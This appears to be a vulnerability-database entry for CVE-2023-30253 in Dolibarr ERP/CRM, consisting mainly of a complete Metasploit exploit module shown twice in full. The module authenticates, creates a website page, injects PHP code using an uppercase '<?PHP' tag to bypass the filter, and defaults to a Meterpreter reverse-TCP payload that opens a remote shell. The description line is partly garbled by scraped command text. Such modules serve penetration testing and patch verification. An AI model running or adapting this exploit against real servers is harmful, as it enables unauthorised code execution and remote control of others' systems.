8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an authenticated user who has access to the Website module. The application filters lowercase use exploit/unix/http/dolibarrcmsrcecve202330253 msf exploitdolibarrcmsrcecve202330253 show...
Basic Information
ID
MSF:EXPLOIT-UNIX-HTTP-DOLIBARR_CMS_RCE_CVE_2023_30253-
Published
May 14, 2026 at 19:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
'Description' => %q{
Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
authenticated user who has access to the Website module. The
application filters lowercase `<?php` tags to prevent PHP code
injection in website page content, but this check can be bypassed
by using an uppercase variant such as `<?PHP`. This
allows injecting arbitrary PHP code that is executed when the
website page is rendered. Versions prior to 17.0.1 are known to
be vulnerable. The vulnerability was fixed in version 17.0.1.
},
'License' => MSF_LICENSE,
'Author' => [
'Tinexta Cyber Offensive Security Team', # Discovery
'Emanuele Cervelli' # Metasploit module
],
'References' => [
['CVE', '2023-30253'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'PHP Meterpreter',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
}
}
]
],
'DisclosureDate' => '2023-05-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
]
)
end
def referer(path)
proto = datastore['SSL'] ? 'https' : 'http'
"#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
end
def get_csrf_token(path, referer: nil)
headers = {}
headers['Referer'] = referer if referer
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, path),
'method' => 'GET',
'keep_cookies' => true,
'headers' => headers
)
return nil if res.nil?
html = res.get_html_document
token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
return token_meta['content'] if token_meta
token_input = html.at('input[@name="token"]')
return token_input['value'] if token_input
nil
end
def login
token = get_csrf_token('index.php')
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?
vprint_status("Attempting login as #{datastore['USERNAME']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => {
'Referer' => referer('index.php')
},
'vars_post' => {
'token' => token,
'actionlogin' => 'login',
'loginfunction' => 'loginfunction',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')
print_good('Successfully authenticated to Dolibarr')
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')
version = nil
if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
version = ::Regexp.last_match(1)
end
if version
ver = Rex::Version.new(version)
if ver < Rex::Version.new('17.0.1')
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Not vulnerable, version detected: #{version}")
end
end
CheckCode::Detected('Dolibarr detected but version could not be determined')
end
def create_website
@website_name = Rex::Text.rand_text_alpha_lower(8)
vprint_status("Creating website: #{@website_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addsite',
'website' => '-1',
'WEBSITE_REF' => @website_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)
fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')
print_good("Website '#{@website_name}' created")
@website_created = true
end
def create_page
@page_name = Rex::Text.rand_text_alpha_lower(6)
vprint_status("Creating page: #{@page_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addcontainer',
'website' => @website_name,
'radiocreatefrom' => 'checkboxcreatemanually',
'WEBSITE_TYPE_CONTAINER' => 'page',
'sample' => 'empty',
'WEBSITE_TITLE' => @page_name,
'WEBSITE_PAGENAME' => @page_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)
fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
html = res.get_html_document
page_option = html.at('select[@name="pageid"] option[selected]')
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?
@page_id = page_option['value']
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?
print_good("Page '#{@page_name}' created with ID #{@page_id}")
end
def inject_and_trigger
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?
section_id = Rex::Text.rand_text_alpha_lower(8)
page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'dol_openinpopup' => '',
'action' => 'updatesource',
'website' => @website_name,
'pageid' => @page_id,
'update' => 'Save',
'PAGE_CONTENT' => page_content
}
)
fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?
print_good('Payload injected, triggering...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
'method' => 'GET',
'vars_get' => {
'website' => @website_name,
'pageref' => @page_name
}
}, 5)
end
def get_website_id
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'action' => 'deletesite',
'token' => token,
'website' => @website_name
}
)
return nil if res.nil?
match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
return match[1] if match
nil
end
def delete_page
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'website' => @website_name,
'pageid' => @page_id,
'delete' => 'Delete'
}
)
end
def delete_website
website_id = get_website_id
return if website_id.nil?
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'id' => website_id,
'action' => 'confirm_deletesite',
'confirm' => 'yes',
'token' => token,
'delete_also_js' => '',
'delete_also_medias' => ''
}
)
end
def cleanup
super
return unless @website_created
begin
vprint_status("Cleaning up website '#{@website_name}'")
delete_page if @page_id
delete_website
print_good("Website '#{@website_name}' deleted")
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
print_warning("Cleanup failed: #{e.message}")
end
end
def exploit
login
create_website
create_page
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
inject_and_trigger
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
'Description' => %q{
Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
authenticated user who has access to the Website module. The
application filters lowercase `<?php` tags to prevent PHP code
injection in website page content, but this check can be bypassed
by using an uppercase variant such as `<?PHP`. This
allows injecting arbitrary PHP code that is executed when the
website page is rendered. Versions prior to 17.0.1 are known to
be vulnerable. The vulnerability was fixed in version 17.0.1.
},
'License' => MSF_LICENSE,
'Author' => [
'Tinexta Cyber Offensive Security Team', # Discovery
'Emanuele Cervelli' # Metasploit module
],
'References' => [
['CVE', '2023-30253'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'PHP Meterpreter',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
}
}
]
],
'DisclosureDate' => '2023-05-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
]
)
end
def referer(path)
proto = datastore['SSL'] ? 'https' : 'http'
"#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
end
def get_csrf_token(path, referer: nil)
headers = {}
headers['Referer'] = referer if referer
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, path),
'method' => 'GET',
'keep_cookies' => true,
'headers' => headers
)
return nil if res.nil?
html = res.get_html_document
token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
return token_meta['content'] if token_meta
token_input = html.at('input[@name="token"]')
return token_input['value'] if token_input
nil
end
def login
token = get_csrf_token('index.php')
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?
vprint_status("Attempting login as #{datastore['USERNAME']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => {
'Referer' => referer('index.php')
},
'vars_post' => {
'token' => token,
'actionlogin' => 'login',
'loginfunction' => 'loginfunction',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')
print_good('Successfully authenticated to Dolibarr')
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')
version = nil
if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
version = ::Regexp.last_match(1)
end
if version
ver = Rex::Version.new(version)
if ver < Rex::Version.new('17.0.1')
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Not vulnerable, version detected: #{version}")
end
end
CheckCode::Detected('Dolibarr detected but version could not be determined')
end
def create_website
@website_name = Rex::Text.rand_text_alpha_lower(8)
vprint_status("Creating website: #{@website_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addsite',
'website' => '-1',
'WEBSITE_REF' => @website_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)
fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')
print_good("Website '#{@website_name}' created")
@website_created = true
end
def create_page
@page_name = Rex::Text.rand_text_alpha_lower(6)
vprint_status("Creating page: #{@page_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addcontainer',
'website' => @website_name,
'radiocreatefrom' => 'checkboxcreatemanually',
'WEBSITE_TYPE_CONTAINER' => 'page',
'sample' => 'empty',
'WEBSITE_TITLE' => @page_name,
'WEBSITE_PAGENAME' => @page_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)
fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
html = res.get_html_document
page_option = html.at('select[@name="pageid"] option[selected]')
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?
@page_id = page_option['value']
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?
print_good("Page '#{@page_name}' created with ID #{@page_id}")
end
def inject_and_trigger
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?
section_id = Rex::Text.rand_text_alpha_lower(8)
page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'dol_openinpopup' => '',
'action' => 'updatesource',
'website' => @website_name,
'pageid' => @page_id,
'update' => 'Save',
'PAGE_CONTENT' => page_content
}
)
fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?
print_good('Payload injected, triggering...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
'method' => 'GET',
'vars_get' => {
'website' => @website_name,
'pageref' => @page_name
}
}, 5)
end
def get_website_id
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'action' => 'deletesite',
'token' => token,
'website' => @website_name
}
)
return nil if res.nil?
match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
return match[1] if match
nil
end
def delete_page
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'website' => @website_name,
'pageid' => @page_id,
'delete' => 'Delete'
}
)
end
def delete_website
website_id = get_website_id
return if website_id.nil?
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'id' => website_id,
'action' => 'confirm_deletesite',
'confirm' => 'yes',
'token' => token,
'delete_also_js' => '',
'delete_also_medias' => ''
}
)
end
def cleanup
super
return unless @website_created
begin
vprint_status("Cleaning up website '#{@website_name}'")
delete_page if @page_id
delete_website
print_good("Website '#{@website_name}' deleted")
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
print_warning("Cleanup failed: #{e.message}")
end
end
def exploit
login
create_website
create_page
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
inject_and_trigger
end
end